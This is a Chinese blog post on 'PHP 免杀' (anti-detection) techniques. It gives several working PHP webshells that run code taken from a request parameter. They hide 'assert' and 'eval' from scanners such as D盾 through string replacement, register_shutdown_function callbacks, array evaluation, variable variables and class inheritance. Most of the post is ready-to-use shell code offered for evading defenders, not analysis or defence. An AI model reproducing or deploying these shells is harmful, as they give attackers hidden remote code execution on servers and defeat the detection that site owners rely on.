PHP 免杀技巧 (一)

Posted on 2021-08-17 23:30  网安小菜鸟  阅读(458)  评论(0)    收藏  举报

本文介绍的是基于php7.2下面的免杀技巧,大于php7.2笔者也还没开始研究,如果看官想看php7.2免杀的那么在这里说一声抱歉了,我也还没想好。

php5里面有一个非常好的函数对于我们来说,因为他能够进行拆分使用,不像eval一样是一个整体不能分开,言归正传,那么我们应该怎么在php5中对webshell进行免杀呢,直接免杀代码,当然这里文章的思路取自于各篇大佬的文章然后写出来,如果看不明白可以直接跳到文章末尾的参考链接。

<?php
$a = substr_replace("holden-huangser","asser",-3);  //holden-huangasser
$aa = array('',$a);  //Array,本来结果为holden-huangasser,但是由于array($a)的原因,他这里就会变成Array,至于为什么要写成array('',$a),我个人理解可能是为了让他确定为array数组类型。
$b = $aa[1].chr('116');  //holden-huangassert  其中这里$aa[1]返回内容是holden-huangasser,而chr('116')的结果是t合起来就是holden-huangassert,好了,这里是不是很熟悉呢,已经组合出来assert了,到这里大家思路都已经确定了吧,那就是通过正则匹配替换为空。
$fun=preg_replace("/holden-huang/","",$b);  //assert,这个位置就是将holden-huang匹配出来去掉获取assert关键字
$cc = substr_replace("",$fun,0);  //assert,这个定义是为了防止匹配到上面,降低被杀概率
$cc($_REQUEST['x']);
?>

上面这种是主要是通过字符串截取与替换进行免杀,放到D盾中,风险为1,那不行,还是有被看出来的风险,继续往下看

我从网上大佬处也获得了一串代码:

<?php
function holden($a, $b) {
	rce()($a, $b);
}
function rce() {
	return "register_shut"."down_function";  //这个回调函数错误之后的回调,我的理解是这样的,因为错误导致回调你定义的东西最后执行,如有不对请大佬们指正。
}

$c = $_REQUEST['x'];
holden(assert, $c);   //assert单独不会拦截,所以这可以直接写

?>

也可以塞到数组,毕竟学习php必须掌握的是数组,上代码:

<?php
$b = substr_replace("assexx","rt",4);   //替换为assert,独立杀软不检测
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_REQUEST['x'])))));  //套娃
?>


上面的代码可以简化为,因为代码可以在数组内执行

<?php
$b = substr_replace("assexx","rt",4);
$a = array('a' => $b($_REQUEST['x']));
?>


同时也可以使用变量覆盖技术,将接受变量的参数先混淆,然后通过fuzz技术,发现eval加上反引号`` 不会被杀掉·也就是eval(``,变量),下面上代码

<?php 
$holden='xiaobai';
$$holden=$_REQUEST['x'];
eval(``,$xiaobai);
?>


类绕过,如果assert不行用上面的方法绕过。

<?php 


class myclass2 {
	function method() {
		return $_REQUEST['x'];
	}

}

class myclass extends myclass2
{
	public $var=null;
	function __construct()
	{
			$var=parent::method();
		assert($var);
	}
}


$xa=new myclass;
$xb=new myclass2;

?>